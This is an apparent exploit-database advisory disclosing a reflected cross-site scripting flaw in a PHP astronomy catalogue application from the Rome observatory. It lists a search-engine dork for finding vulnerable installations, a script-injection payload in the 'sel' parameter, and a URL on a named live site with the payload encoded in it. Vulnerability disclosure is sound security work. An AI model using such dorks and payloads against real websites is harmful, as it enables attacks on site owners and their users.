==================================================================================================================================== | # Title : Database compilation by Marco Castellani XSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0.2(32-bit) | | # Vendor : http://www.oa-roma.inaf.it/ | | # Dork : "Database compilation by Marco Castellani( INAF - Astronomical Observatory of Rome)" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use payload : /table1a.php?sel=<script>alert(/indoushka/);</script> [+] http://gclusters.altervista.org//table1a.php?sel=%3Cscript%3Ealert(/indoushka/);%3C/script%3E Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | =======================================================================================================================================